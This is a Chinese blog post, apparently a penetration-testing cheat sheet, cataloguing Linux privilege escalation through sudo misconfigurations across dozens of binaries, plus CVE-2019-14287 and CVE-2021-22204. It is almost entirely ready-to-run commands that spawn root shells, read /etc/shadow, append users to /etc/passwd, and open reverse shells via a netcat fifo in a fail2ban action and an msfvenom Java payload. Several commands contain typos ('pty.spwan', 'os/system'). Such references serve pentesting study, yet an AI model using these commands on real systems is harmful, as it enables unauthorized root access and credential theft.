linux提权大全(2):sudo提权分类与总结

「红队笔记」Linux提权精讲:Sudo风暴 - Sudo风暴全70讲,扫地僧级别心法,研究提权技术的同时,打磨你对linux内核的深度理解。渗透测试宝典。哔哩哔哩bilibili

工具使用

  • mkpasswd(计算字符串hash)

mkpasswd -m [加密算法] [data]
  • john(破解hash)

john [file] --wordlist=[list_file]
  • python(终端稳定)

python3 -c "import pty;pty.spwan('/bin/bash')"

终端稳定(提权后)

  • 使用python进行spwan

  • 监听新的反弹shell

  • 新起一个bash(如果当前bash环境有问题)

sudo提权分类

  • 可执行程序外部代码执行或共享库执行(代码执行)

    • 通过参数执行恶意代码(引入恶意代码)

    • 通过导入第三方库执行恶意代码(引入第三方库)

    • 通过导入脚本文件执行恶意代码(引入脚本)

    • 编辑器执行恶意代码(编辑器!/bin/bash)

    • 编程语言参数执行恶意代码(引入恶意代码)

  • 读取敏感文件爆破(file_read)

  • 覆盖文件登录(file_write)

  • 敏感程序

    • 程序本身就是新建终端程序(bash、ash等)

    • 程序具有破坏性(passwd更改密码,还有mount绑定执行)

大部分提权都是:一些程序给用户提供了代码执行的接口的利用、敏感信息泄露、敏感文件覆盖、和敏感程序的利用

以下代码执行51处、敏感信息泄露(file read)7处、敏感文件覆盖(write file)4处、敏感程序8处

cve2019-14287(敏感程序)

条件:

Version : Sudo <1.8.28

信息收集:

cat /etc/sudoers
(ALL, !root) /bin/bash

exp:

sudo -u#-1 /bin/bash

apt(代码执行)

exp:

sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

apache2(File read)

exp:

sudo apache2ctl -c "Include $LFILE" -k stop
sudo apache2 -f "Include $LFILE"

ash(敏感程序)

exp:

sudo ash

awk(代码执行)

exp:

sudo awk 'BEGIN {system("/bin/sh")}'

Base64(File read)

exp:

LFILE=file_to_read
sudo base64 "$LFILE" | base64 --decode

Bash/ ash/ csh/ dash/ tclsh/ zsh(敏感程序)

exp:

sudo bash

cp(file write)

exp:

LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE

cpulimit(代码执行)

exp:

sudo cpulimit -l 100 -f /bin/bash

curl(file write)

exp:

sudo curl [url] -o /etc/shadow

date(file read)

exp:

sudo date -f /etc/shadow

dd(file write)

exp:

echo 'data' | sudo dd of=/etc/shadow

dstat(引入脚本)

信息收集:

find / -name dstat -type d 2>/dev/null
查询dstat脚本目录

exp:

sudo dstat --[plugin_script]

ed(编辑器)

sudo ed
!/bin/bash

env(代码执行)

sudo env /bin/bash

cve2021-22204(代码执行)

vim payload (恶意脚本)
bzz payload payload.bzz (压缩)
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=pqyload.bzz
sudo exiftool

条件:

version 7.44~12.23

expect(代码执行)

sudo expect -c "spawn /bin/bash;interact"

fail2ban(用于处理多次规则的脚本)(引入脚本)

条件:

查看/etc/fail2ban/action.d目录是否存在且可写

exp:

修改iptables-mutiport.conf:
actionban = rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f | /bin/bash -i 2>&1 | nc [ip port] >/tmp/f 
​
fail2ban restart
​
多次登录触发规则

find(代码执行)

sudo find . -exec /bin/bash \; -quit

flock(代码执行)

简介:

管理文件锁定,协调多个进程对同一文件的访问

exp:

sudo flock -u / /bin/bash
解析:
    格式: flock [options] [program]
    -u:对目录中的程序解锁,允许他被program操作

ftp(编辑器)

sudo ftp
!/bin/bash

gcc(代码执行)

sudo gcc -wrapper /bin/bash,-s .

gdb(代码执行)

sudo gdb -nx -ex '!bash' -ex quit

git(编辑器)

sudo git branch --help
!/bin/bash

gzip/gunzip(file read)

sudo gzip -f /etc/shadow -t
解析:
    -f:强制
    -t:在终端显示

hping3(编辑器)

sudo hping3
/bin/bash

iftop(代码执行)

简介:

网络流量监控工具,监控网络接口

sudo iftop
!
/bin/bash

java(reverse shell)(代码执行)

sudo msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f jar -o shell.jar
wget [url] 
chmod +x shell.jar
sudo java -jar shell.jar

jjs(引入脚本)

pantest monkey网站上有相关exp
​
将脚本给到jjs,让jjs执行脚本

journaltour(编辑器)

简介:

管理日志的,再system ctl体系下

条件:

发行版不禁用journaltour的!命令

exp:

sudo journaltour
!/bin/bash

knife(代码执行)

简介:

chef的命令行接口,chef是自动化工具和配置工具,用具管理服务器和基础设备

exp:

sudo knife exec -E 'exec "/bin/bash"'
解析
    -E:引入ruby的脚本并执行

less(less/类less机制)(编辑器)

sudo less [file]
!/bin/bash

man(less/类less机制)(编辑器)

简介:查看应用的帮助文件

sudo man ls (查看ls的帮助文件)
!/bin/bash

more(less/类less机制)(编辑器)

sudo more [file](要求file中有内容)
!/bin/bash

mount(绑定执行)

简介:

挂载文件系统(磁盘或共享目录)

exp:

 sudo mount -o bind /bin/bash /usr/bin/mount
 将/bin/bash 和 /usr/bin/mount绑定

mysql(代码执行)

sudo mysql -e '\!/bin/bash'

nano(less/类less机制)(编辑器)

简介:

文本编辑器

exp:

sudo nano
ctrl + r
ctrl + x
reset;bash 1>&0 2>&0

neofetch(引入脚本)

简介:

命令行程序,用于显示操作系统桌面环境等信息,能通过配置文件改变输出格式

exp:

sudo neofetch --config [payload_file]

nice(代码执行)

简介:

用于修改进程的优先级

exp:

sudo nice /bin/bash

nmap(引入脚本)

sudo nmap --script=[payload_file]

node(引入脚本)

sudo node -e "[node.js_code]"
​
require('child_process').spawn('/bin/bash',{stdio:[0,1,1]})

nohup(代码执行)

简介:

运行命令,即使终端关闭,进程依旧运行

sudo nohup /bin/bash -c "bash <$(tty) >$(tty) 2>$(tty)"

openvpn(file_read)

sudo openvpn --config /etc/shadow

passwd(敏感程序)

sudo passwd root

perl(引入脚本)

sudo perl -e "[perl_code]"
​
exec "/bin/bash";

php(引入脚本)

sudo php -r "[php_code]"
 
system('/bin/bash');

pico(编辑器)

简介:编辑器

ctrl + r
ctrl + x
reset;bash 1>&0 2>&0

pkexec(代码执行)

简介:

是一种服务(policy kit),管理系统策略,允许非特权进程通信执行特权任务

sudo pkexec /bin/bash

python3(引入脚本)

sudo python3 -c "import os;os/system('/bin/bash')"

rvim(引入脚本)

简介:

vim编辑器特定版本

exp:

sudo rvim -c ':python import os;os.execl("/bin/bash","bash","-c","reset;exec bash")'

scp(引入脚本)

scp scp -S [payload_file] x y: 

screen(敏感程序)

简介:

终端复用工具

sudo screen

script(敏感程序)

简介:

启动新的shell会话

sudo script -q /dev/null

sed(代码执行)

简介:编辑器

sudo sed -n '1e exec bash 1>&0' /etc/hosts

service(代码执行)

简介:

管理linux服务

sudo service ../../bin/bash

socat(代码执行)

简介:网络工具,建立传输通道

sudo socat stdin exec:/bin/bash

ssh(代码执行)

sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x 

ssh-keygen(引入动态链接库)

通过引入动态链接库执行bash
​
sudo ssh-keygen -D [动态链接库路径]

strace(代码执行)

简介:

追踪和记录另一个进程的系统调用和接受

exp:

sudo strace -o /dev/null /bin/bash

systemctl(编辑器)

sudo systemctl 
!bin/bash

tcpdump(引入脚本)

简介:

监听或捕获网络流量,可以传递给脚本执行

exp:

sudo tcpdump -ln -i [网卡名称] -w /dev/null -W 1 -G 1 -z [payload_file] -Z root

tee(file write可追加)

简介:

将输入的数据写入文件的同时,输出到标准输出中

exp:

echo '[passwd文件添加新用户的信息]' | sudo tee -a /etc/passwd
​
-a:追加

timedatectl(编辑器)

sudo timedatectl list-timezones
!/bin/bash

tmux(敏感程序)

sudo tmux

vi(编辑器)(代码执行)

sudo vi
:!/bin/bash
​
sudo vi -c ':!/bin/bash' /dev/null

wall(file read)

简介:

wall是广播消息的命令,可发送信息到所有打开的终端,可读取广播消息文件

exp:

sudo wall --no /etc/shadow

watch(代码执行)

简介:

linux系统上周期性执行命令并显示结果的程序

exp:

sudo watch -x bash -c 'reset; exec bash 1>&0 2>&0'

wget(write_file)(代码执行)

# 写入文件覆盖提权
wget -O  
# 读取敏感变量提权
sudo wget --use-askpass=[包含payload的变量] 0

zip(代码执行)

sudo zip foo /etc/hostname -T -TT 'bash #'

xxd(read file)

简介:

将二进制文件转成16进制

sudo xxd /etc/shadow | xxd -r
  • 20
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值